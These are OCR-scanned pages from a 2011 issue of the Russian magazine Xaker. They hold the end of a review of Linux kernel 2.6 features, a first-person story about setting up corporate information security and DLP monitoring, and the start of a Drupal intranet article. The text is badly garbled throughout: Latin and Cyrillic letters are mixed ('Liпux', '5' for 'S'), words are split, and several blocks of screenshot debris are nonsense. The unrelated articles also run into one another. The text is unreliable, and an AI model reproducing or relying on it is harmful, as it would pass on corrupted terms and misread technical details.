х86/аm d64 , и точка. В мире встраиваемых систем с этим вопросом

пока полный разброд и шатание- не хватит пальцев, чтобы пере­

считать все еmЬеddеd-СРU-архитектуры . Иэ добавленных в 2.6 можно

отметить: UпiСоге, m68kпommu, m32г, Fujitsu FR-V, Atmel AVR32,

MicгoBiaze, 5-соге. Кроме новых архитектур 2.6 привнес много улучше­

ний в embedded linux:

Новый, полностью переписанный беспроводной стек и возможность

работы в качестве бес проводной точки доступа положительно по­

влияли на распространение Liпu x'a на домаш ни х роутерах.

Те х нология E xecute-iп-p l ace п озволяет выполнять код без пред­

варительно го копирования его в ОЗУ.

Подсистема А5оС [AL5A 5ystem оп Chip) обеспечивает лучшую

поддержку AL5A на 5о С !системах на кристалле).

UВI-что-то вроде LVM для гаw-flаsh-чипов [которые используются

во встраиваемых устройствах). Главное отличие от LVM- коррект­

ная обработка битых ячеек. Компания Nokia создала специальную

файловую систему UBIF5, работающую поверх UВI-томов.

Еще одна файловая система, специально предназначенная для ис ­

пользовани я на F lаsh-накопителях,- LogF5. Сжимает данные перед

записью и минимизирует количество циклов перезаписи ячейки.

П оддержка шины 5P I и механизма 5010 [5есuге Oig itall/0 ) для

подключения устройств через ММ С/50-слоты [GР5-при емники,

Wi-Fi-, Bluetooth- и Еthегnеt-адаптеры и многое другое).

Поддержка протокола CAN [Contгolleг Аге а Netwoгk). Один из при­

меров, где этот протокол активно используется , - бортовая сеть

автомобиля.

Интересное достижение- возможность установить Linux на 5опу

Р53[жаль, что уже неактуально) , Nintendo Wii или Gamecube.

Говоря про еmЬеddеd - решения, нельзя не упомянуть смартфоны и

планшеты. Благодаря Google Andгoid'y на этом рынке Linux вырыва­

ется в лидеры. И хотя патчи от Google, используемые в Aпdгoid'e, были

удалены из ванильной ветки, ожидается, что в ближайшем будущем

о ни туда вернутся.

ПЕРСОНАЛЬНЫЕ КОМПЬЮТЕРЫ Доля Liпux 'a на РС растет не особо активно- по мнению официаль­

ной статистики, со времен выхода 2.6.0 колеблется в районе 1-2 %.

Но тем не менее в ядро nостоянно добавляются новые фишки, с п особ­

ные облегчитьжизнь Linux useг'a.

Первое , что нужно dеsktор-пользователю,-зто поддержка всего

его оборудования . В этом месте ядро 2.6 показало очевидный прогресс

[вспомни, как осторожно нужно было выбирать н аут под Linux еще каких­

то лет пять назад). Можно отметить следующие основные моменты:

ПРОБЛЕМАЗ.О

После того как релиз 3.0 стал появляться в дистрибутивах,

выяснилось, что многие nриложения неправильно воспринимают

версию [например, используя «#ifdef LINUX2>> или учитывая только

число после последней точки для определения версии). В списке

проблемных оказалось на стол ько больш ое количество приложений,

что для Fedoгa 15 переименовали Linu x 3.0 в 2.6.40, чтобы обеспечить

совместимость с такими приложениями.

ХАКЕР 10/153/2011

Page 122: Хакер №10 (октябрь 2011)

Кадр из ролика, созданного Micгosoft 'oм в честь 20 лети я Linux'a

Обновленны й menuconfig

Се р ьезно улучш и л ась подде ржка видеоустройств с U5В­

интерфейсом благодаря включению в ядро драйвера для

устройств с поддержкой UVC [Uпiveгsal Video Classl и включению

комплекта драйверов gspca для веб-камер [поддерживает более

230 не -U VС-устройств l .

П оддержка U5B3.0 и ACP I4.0 появилась в Liпux'e раньше, чем во

всех других ОС.

Поддержка различных протоколов беспроводной передачи дан­

ных: Wiгeless U5B, WiMAX [IEEE 802.161.

Дл я видеокарт Nvidia силами сообщества написа н новый ви део ­

драйвер Nouveau с поддержкой 3D-ускорения .

За счетвнедрениятехнологии Кегпеl mode-settiпg [определение

устройств вы в ода и настройка режимов их работытеперь возложены

на яд ро, а не на драйвер Х5егvе г1 виртуал ь н ыетерминалы теперь име­

ют нейтивн ыеразрешенияипереключениемеждуними п роисходит

более плавно . Ктомужеслегка уменьшилось время загрузки ОС.

П оддержка ви деокарте интерфейсом U5B и специальных п ере ­

ходн и ков, поз в ол яющих п одкл ючить VGА-мо н ито р в U5В- п орт.

П ереход в hibeгпat i oп и возврат из него значитель н о ускорились

за счет асинхронного включения/выключения драйверов .

ХАКЕР 10 / 153/20 11

Туке п окол е н ия 3.0

GP U switchi пg- возможност ь н а л ет у п ереклю ч а ться между дву ­

мя видеокартами на ноутбуке . П равда, Х Sегvег все равно нужно

будет перезапустит ь .

Добавлена поддержка HDD с секторами больше 512 байт [сейчас

п олучают рас простр а н ение модели с 4 Кб! .

П оддержка протоколов РРТ Р и L2TP. Существе н ная часть п ро­

вайдеров в России раздает по ним интернет.

Добавлена п оддержка датчиков падения в HDD ноутов. При по­

лучении сигнала от датчика головки немедленно п аркуются.

И н терактивность на дескто п е удалось существе н но повы-

сить за счет использования планировщика CF5 [Completely Faiг

5cheduleгl и с помощью несложной технологии автоматической гру п пировки задач.

Уделе н о м н о го в ним а ни я управл ению п и танием на н оутах, что

п озволило нем н ого снизить энергопотребление, в основном за

счет возможности собрать ядро без тиков [ticklessl, что позволяет

процессору дольше находиться в режиме энергосбережения .

ФАЙЛОВЫЕ СИСТЕМЫ Думаю, если посчитать количество поддерживаемых ФС, то Liпuхтут

будет вне конкуренции. Каждый релиз приносил или какое-нибудь

нововведе н ие, и л и п одде ржку какой-нибудь новой ФС. Самое круп ­

ное нововведение ветки 2.6 в этой области - внедрение техноло гии

FU5E [Filesystem iп Useгspacel. Если не вдаваться в подробности, то она позволяет писать файловые системы в виде обычных программ

[а не модулей ядра!, работающих в пространстве пользователя.

Этоособенноудобно длясоэданиявиртуал ьныхфайловыхсистем,

которые сами по себе ничего нигде не хранят, а просто осуществляют

трансляцию вызовов. В качестве примера таких ФС можно привести :

SSHFS - доступ к удаленной ФС через 5 FТ Р.

GmaiiFS - сох р а н яет свои да н ные в виде почты в Gmail .

WikipediaFS- представление статей из Wikipedia в виде файлов

[которые можно редактировать!.

Есть также несколько вполне реальных ФС, работающих через FU5E:

NTFS -ЗG-caмaя по пулярная реализация поддержки NTF5 под Liпux.

ZFS-Fuse- реализация ФС ZF5 [включение поддержки которой в

ядро невозможно иэ-за несовместимости лицензий!.

Дал ьнейшим развитием идеи FU5E стал модуль CU5E, позволяющий

создаватьсимвольныеустройства[на п римерклавиатуруилипринте~

из пространства пользователя. Пока эта технология широкого распро­

странения н е получила и испол ьзуется небол ьш им числом проектов,

самый известный из которых это, наверн ое, 055 Ргоху, эмулирующий

055 путем созда н ия устройств/dеv/dsр, /dev/adsp и /dev/mixeг.

ПРЕКРАСНОЕ ДАЛЁКО

К моменту выхода журнала в печать новая версия за номером 3.1 уже,

скорее всего, зарелизится . В ней ожидаются следующие полезности :

П оддержка Ореп-5оuгсе-СРU-архитектуры OpeпR I 5C.

П одде ржка из коробки ос н о в но го контроллера для Niпte пdo Wii­

Wii Remote.

Ускорение работы встроенного видеоядра процессорав lпtel п о ­

следнего поколения [5апdу Bгidgel .

ОткрытыйдрайверNоuvеаu теперьизкоробки поддерживает

Ge Foгce 400/500.

Значительныеулучшения в п оддержке lпtel GMA500. До недавне го

времени с поддержкой зто го чипсета был о совсем плохо- в отличие

от разработа нн ых lпtel'oм с нуля железок, нормал ьный драйвер

н евозможно былосделатьиз-за о гра н иченийли цензио нно го

характера, так как, по сути, l пtel GМА500- это PoweгVR 5GX 535 от

lmagiпatioп Techпologies.

125

Page 123: Хакер №10 (октябрь 2011)

UNIXOID

8,3%

• nользователи 8 Linux Foundation 8 Google

• Неизвестные компании 8 Consultant • Linutгonix

• RedHat 8 SGI • НР

• Novell 8 MIPSTechnologies 8 NetApp

. IBM 8 Огасlе 8 SWsofl

• lntel • MontaVista • Другиекомnании

Данные слегка устаревшие, но общее распределение не изменилось: Linux пишуткруnные компании

Было добавлено н есколько новы х ФС:

ext4- наследник ехtЗ. Более быстрый, менее подверженный фраг­

ментации, поддерживающий разделы до 1 эксбибайта [260 байт) .

NILFS2-журнально-структурирован ная ФС , что в переводе на

человеческий язык означает использование для хранения всех

данны х с п ециальных логов, новые данные в которых не переза­

писывают старые. Основным п оложительным эффектом такой

организации является возможн ость смо нтировать ФС в состоянии

налюбойопределенныймом е нтвреме ни .

Btгfs создавалась как аналог ZF5 от 5u n [теперь Oгaclel и имеет пра ктически те же функции [снап ш оты, прозрачную компрессию,

оптимизацию для работы с 550 и многое другое). ФС еще является

экс периментальной , но в ближайшем будущем должна стабили­

зироваться. Многие дистрибутивы имеют планы п о использова­

нию ее п о умолчанию [например Fe doгa 171 . Squashfs- геаd-опlу-файловая система с вы соким уровнем ком пре ссии. Используется, как правил о, на LiveCO/U5B . Ecryptfs- как ясно из названия, это ФС с шифрованием. Работает

поверх другой ФС , т . е . шифрует файлы/каталоги, а н е блочное

устройство целиком .

Значительный прогресс наблюдал ся также в области nоддержки

родных ФС других ОС : реализована возможность записи на NTF5, чтения/записи на HF5+ и HF5X [ФС Мае 05 Xl, чтения/записи на UF52 [ФС В50-си стемl.

Сетевые ФС тоже не остались без внимания- реализована под­

система F5 -Ca che, кеширующая локально данны е, п е р едаваемые

по сете вым ФС, вроде N F5, AF5 или CIF5. Само кеширование для

пользователя выполняется абсолютно прозрачно .

1111 Основное достиже ни е ветки 2.6- поддержка 1Pv6 во всех п одси с-

темах [netfi l t eг, 5Elinux'e, сетевых ФСI , а также новы х протоколов и

стандартов:

126

UDP-Iite (RFC 3828)- очень похожий на U ОР-протокол, основное

отличие- поврежденные па кеты с неправильно й контрольной

суммой не отбрасываются. Для н екоторых областей применения

[VoiP, потоко вого видео) битый пакет лучше, чем ничего.

DCCP (Datagram Congestion Control Protocol, RFC 4340)- про­токол с механизмами для отслеживания перегрузок в Сети.

Основная область прим ене ния -там, где пакеты, которые не уда­

ется передать, быстро уста ревают и луч ш е попытаться передать

новые [VoiP, потоковое аудио/видео, онлайновые игры).

IEEE 802.11s-бес проводные mesh-ceти. Такие сети образуются из

множества реег-tо-реег-соединений узлов , находящихся в области

радиопокрытия друг друга . Также реализована поддержка с п еци­

ального прото кола маршрутизации В . д.Т.М . д.N. (Betteг Арргоасh То

MoЬile Adhoc Netwoгkingl. разработанногодля mesh-ceтeй. К слову сказать , такие сети уже довольно популярны и набираютобороты за

границей. Более подробную информацию и схемы уже существую­

щи х сетей можно посмотреть на сайте www.open-mesh.com .

Еще одно интересное нововведение- проект accel-pptp, пред­ставляющий из себя РРТР/Р РРоЕ/L2ТР-сервер и РРТР-клиент прямо

в ядре . За счет работы на уровне ядра всё это дело работает быстро и

не сильно грузит CPU .

БЕЗОПАСНОСТЬ В области безопасности самое важное нововведение-появление раз­

личных систем принудительно го контроля доступа [Mandatoгy Access Contгol), по сути, аналогов 5Elinux'a, н о с несколько иными подходами :

АррАгmоr-основной конкурен т5Еli пuх'а, попал в ванильное

ядро позже всех п одобных систем [в 2.6.361. Отличительная осо­бенность- определение полномочий на основе файлового пути .

ТОМОУО- как и АррАгmог, использует в своих nравилах файло­

вые пути до объекта. Одно из основных отличий от Аррдгmог 'а ­

возможностьуказывать в правилах, каким образом было

запущено приложени е. Например, для интерnретатора /Ьin/bas h,

за пущенного через ss hd, можно указать более строгие ограниче­

ния, чем для вызванного локально .

SMACK (Simplified Mandatory Access Control Kernel)- в некото­

ром роде aнaлoг5Elinux'a [тоже использует метки для объектов и

субъектов) , который проще настраивать .

Также из интересных вещей, касающихся безопасности, можно отметить:

Механизм, поз воляющий разрешать или блокировать п одключ е­

ние конкретных U5В-устройств.

IMA (lпtegrity Management Architecture)- механизм , nозволяю­

щий исnолнятьтолько файлы, имеющие корректную цифровую

подпись .

Address space layout randomization (ASLR)- подход , при котором

в адресном про стран стве процесса все важные структуры рас­

nоложены в nроизвольнам порядк е. Это значительн о усложняет

атаки ти п а переполн е ния буфера.

Per-process secureblts- возможность повышения п ривилегий только для конкретного процесса, без распространения на по­

рожденные им доч е рни е процесс ы .

wфlleil§ Други е нововведения разной с те пени полезности:

Новые интерфейсы для конфигурирования параметров сборки

ядра: make nconfig [по сути, это обновленный menuconfigl и make

localmodconfig [в конфиг включаются только загруженные на текущем железе модули) .

В состав ядра в ош ел тест ОЗУ [аналог знаме нитого memtest'a,

для запуска н ужно просто добавить оnцию memtest к парам етрам

загрузки ядра) и отладчик kgdb. Fanotify- новый механизм для отслеживания изменений в файловой системе, пришел на сменуустаревшим inotify и dnotify, у которых были пробл ем ы сотслеживанием большого количества

объектов.

Теперь для каждого проце сса можно п осмотр еть , сколько трафи­

ка прошло через функции геаd[) и wгite[J.

Подде ржка утилиты LatencyTop для анализа времени реакции

системных оnераций и nриложений . I

ХАКЕР 10 /153/20 11

Page 124: Хакер №10 (октябрь 2011)

..

128

НикитаДыминскийаkа 1Зоz

ЖИЗНЕННАЯ ИСТОРИЯ О ПОСТРОЕНИИ СИСТЕМЫ ИБ В ОТДЕЛЬНО ВЗЯТОЙ

КОНТОРЕ

и так, послетого как наш горький опыт показал, что И Б-зто не

просто выполнениетребований ФЗ-1521о котором все равно

мало кто думал) , а кое-чтодругое, иневыполнение некоторы х

элементар ны хтребований может привести к немалым финансовы м

убыткам, отдел информационной безопасности получил отмашку на

создание системы защиты и н формации в отдельно взятом предприя­

тии . П осмотрим, что же из этого получилось .

ЧТО БЫЛО В САМОМ НАЧАЛЕ? Если оставить в стороне решение организационных вопросов, кото­

рые мало волнуют читателя lв самом деле, зачем вам з нат ь пр о орга­

низацию п ро п ускнога режима?) , то в сухом остатке оста етс я задача о

создании неприступной сети, решить которую только своим и силами

у нас не было никакой возмож ности . Что у нас было: небольшая ЛВС

175+ пользовательски х машин), из собственных се рверов -только

контроллер домена , файл-сервер и сервер с 1 С и терминальный

серве р . П омимо гл авного офиса, в нескольких городах региона суще­

ствовали представительства и тор говые точки, которые работали с

тем же самым 1[ через тот же сам ый терминальный сервер, п одклю­

чая сь к нему п о RDP безо в сякого VPN. Почтовыеи веб- сервера были

арендованы у одной питерской компании !название не приводитс я

по этиче ск им соображениям), причем в договоре о предоставлении

виртуальных сер в еров со гл а ш ения о конфиденциально сти не было .

Кроме , собств е нн о , о пи санной задачи , мы решили п од шумок про­

тащить сразу и создание с и стемы защиты п ереа н альных данных, так

как, н ес мотря на то что на тот момент ФЗ-152 в силу еще не вступил,

слухи о том , что мы вошли в список «жертвенных а гнцев >>, до нас дош­

ли. Так что задача не сколько расширила с ь .

ХАКЕР 10/153/2011

Page 125: Хакер №10 (октябрь 2011)

НАЧИНАЕМ РАБОТАТЬ Поначалу работасИТ-отделом шла очень хорошо. Они не находились в

нашемподчинении,ивзаимодействиесводилоськромеоперативнойне­

обходимости к обмену внутренними документами. Большоготруда стои ­

лоприучитьадминовнезвонитьпотелефон~высыпаянаабонентаворох

непонятныхтерминовlесли я еще в силуобразования могу разобраться,

то уже мой начальник-нет], а именно писать письма . Почемузто было

так важно? Во-первых, переписку проще поднять, в случае необходимо ­

сти, и вспомнить, кто комучто сказал, и тем самым избежать перевода

стрелок, отмазок типа «Я же/не говорит> и в конечном итоге сэкономить

времяиснизитьнапряженностьвслучаечего.Организоватьобмен

документамипоэлектроннойпочтенамнепозволилапрофессиональ­

ная паранойя: не такдавно мы потеряли многоденег по еще не до конца

выясненнымпричинам,ииспользоватьдляобменаконфиденциальной

информацией почтовый сервер, расположенный за тысячу километров на

территориидругойкомпании,намказалосьопасно .

Таким образом, наша задача сводилась к следующему:

1. Организовать наблюдение за перемещением документов п о сети

и лакальна на компьютерах-сюда входиттакже контроль печати,

контроль копирования документов на сме нны е носители, включая

сотовые телефоны.

2. Наблюдение за пользователями в интернете-какие сайты по­

сещают, с кем переписываются по корпоративной почте, etc.

3. Резервно е копирование информации, составляющей коммерче­

скую тайн у. Это не отменяло бзкапирования всего прочего, от серве­

ров до конфигураций сетевого оборудования, однако мы настаива­

ли на отдельной процедуре копирования важной информации

отдельного ее хранения.

Помимо этого, также поднимались вопросы организации анти­

вирусной защиты !на момент начала работу пользователей стояли

индивидуальные антивирусы, безо всякого централизованного

обновления], запуска собственныхwеЬ - и mail-cepвepoв, запуск wsus,

ор ганизация VPN между HQ И филиалами, НО В дальнейшем ЭТИ задачи

были почти полностью переданы ИТ.

Отдельно про сотовые телефоны и коммуникаторы . Эти замеча­

тельные девайсы вызывали у нас очень много беспокойства . Помимо

того, что они могут использоваться как флешки, они еще могли создать

дополнительныйникакнеконтролируемыйканал связисинтернетом.

Инсайдер, подключивший свою машинучерезтелефон к интерне-

ту и выдавший сообщникам свой внешний IР-адрес, могзапросто

устроить веселую жизнь, даже просто передав управление машиной

более компетентному злоумышленнику. Особенно остро эта проблема

стояла в самом начале нашей деятельности- к сожалению, ситуа ция

была такова, что не только все USB-nopты были открыты, но и права

администратора были у многих пользователей -тяжелое наследство

от предыдущего ИТ-отдела, избавиться от которого новый состав не

спешил по некоторым причинам, а у нас не доходили руки даже все это

проверить. Вот уж точно, пока гром н е грянет-мужик не п ерек ре ­

стится . Так что задача несколько расширялась, и прежде чем начинать

затыкать возможные каналы утечки информации, стоило заняться

банальной гигиеной. Имели место следующие проблемы :

1. Пользователи с права ми администратора-причина их возникно­

вения заключалась в пользователях, любящих ставить сторонний

софт, админах, не любящих бумаги, и нас, которые на все зто просто

не обращали внимания. В процессе выяснения причин оказалось,

что после того, как бухгалтерам порезали права , начальник ИТ имел

разговор с руководством по поводу пользователей, которые что-то не

могли сделать . После этого ИТ решили не связываться и выдать всем

админские права . Главной их ошибкой в этой ситуации было то, что

они решили сделать все « nросто таю>, ни с кем не посоветовавшись.

2. Порты коммутаторов уровня доступа. Они были включены все, в

том числе и неи с пользуемые . Никакого рогt secuг i ty на них на­

строе но не было. Никто этим не занимался- ИТ постоян но решало

проблемы вирусных эпидемий, возникающих из-за n. 1, а мы на зто

просто забили, списав на ИТ.

С настройкой рогt secuгity на коммутаторах была связана еще одна

ХАКЕР 10/153/2011

Борьбазабезопасность

проблема- руководство фирмы любило носитьвИТ свои lи не только]

н аутбуки «для настройки/починки>>, так что их периодически при хо­

дилось втыкать в сеть предприятия. Итак, мы приступили к работе .

Послетого как мы, совместно сИТ, определили перечень проблем,

на стол руководству лег документ, подписанный начальниками отделов

ИБ и ИТ, под названием « Политика информационной безопасности>>.

Сам по себе до кумент весьма пространен и расплывчат, и главным в нем

было определение зон ответственности двух отделов . По результатам,

отделИТ отвечал за работоспособность всехтехнических средств и все

со путствующи е мероприятия, такие как разработка полной документа­

циинаинформационную систему предприятия,разработкаинструкций

пользователям, плановдействий при выходетехники из строя и при

возникновении угрозы не работоспособности технических средств, а

отделИБотвечал за разработку и поддержание в актуальном состоя нии

документов, регламентирующих работу пользователей с информацией

ограниченногораспространения,правилнастройкисредствзащитыlк

средствам защиты было отнесено фактически все что можно-отанти­

вирусов до IDSI, а также контроль соблюдения этих правил. Последний

пункт- контроль соблюдения этих правил- вызвал у меня некоторые

сомнения : во всем отделетолько несколько человек были достаточно

компетентны, чтобы выполнять его, остальные имели несколькодругую

направленность. Тем не менее, оставлять полностью вопрос защиты ин­

формации, циркулирующей вЛВС, на один отдел было нецелесообраз­

но: отсутствие контролирующего органа !четко осознающего границы контроля ] слишком часто приводит к тому, что правила соблюдаются

лишь на бумаге. Кроме того, немаловажным пунктом « Политики .. . >>

было то, что руководствообоих отделов могло подписыватьдокументы,

более детальнорегламентирующие порядок эксплуатации технически х

средств и средств защиты, а также порядок работы с информацией

ограниченного распространения, и эти документы имели юридическую

силу, т. е. они были обязательны к исполнению всеми сотрудниками.

Отдельно хо чу заметить, чтоданный пункт не стоит протаскивать «nри­

цепом>>, а стоит целенаправленно обращать на него внимание руковод­

ства -иначе в дальнейшем , когда повалятжалобы от пользователей

на заблокированные USB-nopты, порезанные права и прочее, избежать

неприятных разговоров на тему « nочему не? .. >> будет сложно. Если

руководитель осознанно подпишеттакой документ, зто фактически

развяжет руки обоим отделам- в дальнейшем принятие документов

значительно упростится, и при этом они будут иметь полную силу.

Следующим шагом после разработки и подписания << Политики ин­

формационнойбезопасности•былоопределениеперечняактуальных

угроз как связанных сИТ, так и не связанных. Что значит актуальных?

Ну в принципе, количествоугроз ограниченотолько вашей фантазией.

Утечка по каналу ПЭМИН !зто когда в километре от вас ставится антенна

и по электромагнитному излучению с видеокарты восстанавливается

картинка с монитора] тоже возможна, воттолько насколько затраты

на оборудование соответствуютстоимости информации? Разрешить

этот вопрос может помочь только жизненный опыт и стандарты- как

отечественные, так и международные . Опять же, нужноучитывать и

отечественную специфику, то есть организовывать <<за щиту от дурака >>.

П ереброшенный на личный ящик проект договора в открытом виде

прекрасно проиллюстрируетэту картину. Также важно не списывать со

счетовпользователейнатомосновании,чтоониеле-елеспра вляются

с компьютером: часто от пользователя не требуется много знать, чтобы

создать неконтролируемый канал утечки информации. В идеале­

стоит рассчитывать, что в организации работает инсайдер суровнем

ОРГАНИЗОВАТЬОБМЕН

ДОКУМЕНТАМИ ПО ЭЛЕКТРОННОЙ ПОЧТЕ НАМ НЕ ПОЗВОЛИЛА

ПРОФЕССИОНАЛЬНАЯ ПАРАНОЙЯ

129

Page 126: Хакер №10 (октябрь 2011)

SYN/ACK

подготовки, равном уровню подготовки ваших специалистов, или даже

выше. Также важным было разделение зон ответственности-каждый

из отделов могсосредоточиться на том, что ему более знакомо: ИТ на

угрозах , связанных с информационной инфраструктурой, а мы -на

организационных вопросах, непосредственно задачах контроля над

информационными потоками и написании инструкций.

ОПЫТ, СЫН ОШИБОКТРУДНЫХ Дальше начались трудности. Дело в том, что те методы, которые пре­

красно подходят для организаций с преимущественно бумажным

документаоборото м, довольнотрудно применить в случае, если большая

частьдокументовциркулируетвэлектронномвидеиникакойсистемы

электронногодокументаоборота не развернуто, то естьдокументаоборот

сводится к наличию папки с файлами на сервере. Вводить в организации

еще и систему документооборота, не имея уверенности, что она пере­

кроетхоть сколько-нибудь существенную часть наших потребностей,

было слишком дорого. Подключатьдля решения этой задачи ИТ было не­

актуально : контроль за документаоборотом-это не их профиль, и они бы

просто не смогли выбрать подходящее по функционалу решение. В итоге

мы остановились на выборе из двух вариантов-либо использование ло­

кальных средств защиты (преимущественно отечественные сертифици­

рованные решения! , либо сетевая DLР-система. Оба варианта имели свои

плюсы и минусы, в частности, сертифицирова н ные средства позволяли в

дальнейшем оqойтись меньшей кровью при работе по защите персональ­

ныхданных, сетевыеже DLP гораздоудобнее в обслуживании и решают

более широкий спектр задач . Кроме того, вданном вопросе нам при­

ходилось учитывать мнение ИТ-отдела, поскольку эксплуатация данных

продуктовоставаласьпоихчасти:мытольковырабатывалитребования .

Наш отдел отдавал предпочтение сертифицированным решениям-ска­

зывалось профессиональное недоверие руководства отдела к коммерче­

ским продуктам (наше руководство, как и солидная частьбезопасни ков

внебольш их конторах, вышла из силовых ведомств!, ИТ-отдел же,

наоборот, большетяготел к коммерческим продуктам . Справедливости

ради должен отметить, что коммерческие DLР-системы гораздолучше

отвечали нашим требованиям, предлагали более богатый функционал и

просто былиудобнее в работе. Единственным, по сути, п реимущества м

отечественных решений было наличие сертификата, который оказывал

на наш отдел почти магическое воздействие . В итоге был принят ком­

промиссный вариант. Поскольку сертифицированные средства защиты

необходимо при менять, только имея в прицепедальнейшую аттестацию

по требованиям ГСЗИ (государственной системы защиты информации!,

а защита коммерческойтайны почти никак не регламентирована, мы

решили использовать сертифицированные средства защиты инфор­

мации там, где онидействительно нужны,-на компьютерах, которые

в дальнейшем вошли в состав нашей ИСПД (информационной системы

персональныхданныхl, но этоуже совсем другая история, выходящая

за рамкиданной статьи. Для защиты же коммерческой информации мы

использовали Websence DSS.

ПОЛЕЗНЫЕ ДОКУМЕНТЫ

При определении возможных каналов утечки инфор­

ма ции тебе пригодятся следующие книги:

1. «Сnециальныетребованияирекомендациипотехниче­

ской защите конфиденциальной информации (CTP-KI».

2. Руководящий документ <<Автоматизированные систе­

мы. Защита автоматизирован н ых систем от несанк­

цион ирова н н ого достуnа>>.

3. <<Gгау Hat Ethical Hackeг's Handbook>>.

Все книги очень просто нагугливаются, СТР-К и РД­

прямо на сайте ФСТЭК. Первые две книги нужны скорее

безопасникам. а последняя - админам.

130

GRAY НАТ

HAC:KING Тhе Ethical Нacker's

HandЬOOk

-­......

ДЕЛА НАЛАЖИВАЮТСЯ Наше дальнейшее взаимодействие было регламентировано и nроте­

кало в спокойной обстановке. П о сути, оно сводилось к тому, что н аи­

более комnетентный в вопросах ИТ безопасник получал отИТ-отдела

документацию на используемые средства защиты, консультировал­

ся по непонятны м вопросам, и отдел ИБ, имея представление о том,

что можно сделать с ис n ользованием э т их средств, вырабатывал

требования к их настройке. Также, по возможности, для сотрудников

ИБ создавались учетные записи, позволяющие мониторить правиль­

несть настройки средств защиты и при необходимости оставлять

о п о вещение для администратора о том, что необходимо изме н ить в

настройках. Изначально пла н ировалось вести nодобную переписку

традиционным способом и проводить ее по внутреннему докумен­

тообороту, однако от этой идеи пришлось отказаться : требовалось

оnеративное взаимодействие, а внутре н ний документаоборот остав­

лял задержку в день или два. Если бы мы решились на это, время

настройки оборудования растянулось бы на несколько месяцев.

Кроме того, мы полностью отказались от аренды серверов у

третьих лиц, то есть развернули собственные web-и mail-cepвepa.

Это у п ростило задачу контроля деловой переписки сотрудников,

а развернутая DLР-система позволила избежать исnользования

личных почтовых ящиковдля деловой переписки без применения

драконовских мер типа п олного запрета доступа к сторонним mаil­

сервисам. Этот вариант, на самом деле, рассматривался, однако был

отвергнут no нескольким причинам . Од н ой из них было то , что со­

трудник, который ощущает контроль над своими действиями, будет

как минимум недоволен, что понизят его лояльность, а инсайдера

видимый контроль заставит вест и себя гораздо аккуратнее, а это

затруднит его обнаружение.

l:i§l:l•l!ll Какие из всего это го можно сделать выводы? Во-первых, залогом

успешного взаимодействия отделов является подтвержденное до­

кументально разграничение полномочий. Это самый важный момент:

никто не хочет делать за кого-то свою работу, так что подходить к

этому вопросустоит со всей тщательностью. При этом нужно пони­

матьразницумеждуинформационнойбезопасностьюсточкизрения

ИТ-специалиста и информационной безопа с ностью сточки зрения

безопасника. В принципе, этот вопрос уже поднимался в статье , но

повторюсь: ИТ-безопасность- это стабильность работы информацион­

ной инфраструктуры, а ИБ-безоnасность- контроль над о перациями с

важной информацией. Задачи пересекающиеся, но не включающиеся

однавдругую . Оченьважноопределитьпорядоквзаимодействия

между отделами- nрямое подчинение одного отдела другому врядли

приведет к чему-то хорошему. П оэтому один из важнейших моментов­

нужно быть готовым к диалогу. Не нужноупираться рогом и заочно счи­

тать собеседника идиотом. Если обе стороны готовы договариваться, то

никаких проблем взаимодействия не возникнет. ::Х:

Secцrii)• Pol icies det:.sy

.... pu-•• CIJif*bnofeaн......:......,.нcnovrt>ONYMO+<fi)OIOIO (.-cmk P«oo .. )

---=:::=:--..:.:=

~·--·-­---------

ХАКЕР 10/153/2011

Page 127: Хакер №10 (октябрь 2011)
Page 128: Хакер №10 (октябрь 2011)

AvallaЫe Operation

c -~~--UII ." ....._ ..... _ .... о --- ...... fj. t~ao~'М.1alllatl'lno ", _....._ __

А lf1A<18111\

Se1ver stalus fOI' lhls entlly

Spaee avallaЬie on 11rvet /1/kY'IIЦIJ I.~QISI\0~

... otn (Nc\'Jid."'J- 17&2~,.-s .t<;CI

Vpltl!col/IOIIIJI...,•ItS ~418.1t.\qii'I.II.I..W.6No

S..·.III ' ~~ IVl . IG o

Recent ,1c1tvlty ln entity

A ... ,&III>S·I""-41ot"J+ I • lo

, ....

р о

Page 129: Хакер №10 (октябрь 2011)
Page 130: Хакер №10 (октябрь 2011)

О Ао6миа 1 иm 1 О )'А"'Т~ (И(НМ)'

ПрИНА-<11 _.., naкtTioi)"( TiiНG8JI ..... 1 Hoft (lt(тt,... , 80~0/IIHO 'faJИI'fИТI•)'AIIIfltМI JТIU(~ITOI

noCpeДПIOfoil И:>< hol6opt О! ~о<аЖаТмll Ml ..YДII\01T~ nOolltT..,.. ,

0 1 J )456799 А8 С DEFG H I J ICL М N О PQRSTUVWXYZ

1· 25 н• 1 493(0 !1Ы6рано ) t< < ) )1

Oltк'Of}'IVUtfUte Маr\81(18 Щ!IМ:.uon5, organ!Z:ar\otllltms. lota'IIJn, COIП!In anl:l

"""

...,. .. M~ISJЖISOI'IIfoup$ H~•fl\tfl'tlefs, POSIX, desktOp. tamьa ац~ mм .......

Page 131: Хакер №10 (октябрь 2011)

SYN/ACK И rорь «Spider _ NET» Антонов lhttp:/ /vr -onli ne. rul

Карпарати в н ы й Drupal

ДЕЛАЕМ КОРПОРАТИВНЫЙ ПОРТАЛ. БЕСПЛАТНО

Dгupal- бесплатная пуленепро­

биваемаясистемауправления

содержимым сайта [по совмести­тельству-СМF], продолжаетак­тивно развиваться и обзаводиться

новым функционалом . Ее не стес­

няются использоватьдля своих

проектов крупные компании, госу­

дарственные организации. Dгupal

очень популярен при строитель­

стве интернет-ресурсов, но при

разработкевнутреннихкорпора­

тивных порталов его незаслужен­

но обходят стороной.

136

-На нашемдискетебя ждет видеоурок по

созданиюкорпора­

тивного nортала, ко­

торый я подготовил специальнодля этой статьи .

ОСОБЕННОСТИ ЕТНЕRNЕТ-ПОРТАЛА На внутренний корпоративный портал обычно возлагаются задачи, от­

личные оттех, что берут на себ я интернет-ресурсы. Разнятся как сами

задачи, так и многие тех н ологические нюансы. Напри мер, в отличие

от внешнего ресу рса внутреннему н е требуется суперуникальный

ди зайн, или свободная регистра ция п ол ьзователей, или с п особ н ость

выдерживать вы сокие нагрузки. Гораздо важнее обеспечить ресурс

функциями, необходимыми для улучшения производительности со­

трудников -пользователей ресурса. Из наиболее типичных задач,

возлагаемых на внутренний сайт, можно выделить:

1. Документооборот. Н е все ком пании готовы покупатьотдельные

решения для автоматизации документооборота. Многие реш ают

эту задачу путем использования внутреннего сайта . В едь не всем

нужна функциональная и дорогая система электронного докумен­

тооборота . Во многих случаях реально обойтись более простым и

ре ш ениями. Например, при помощи функцианала современных си­

стем управления содержимым вполне реально собрать простень­

кую систему документаоборот а, которой хватит дл я нужд средней

компа нии .

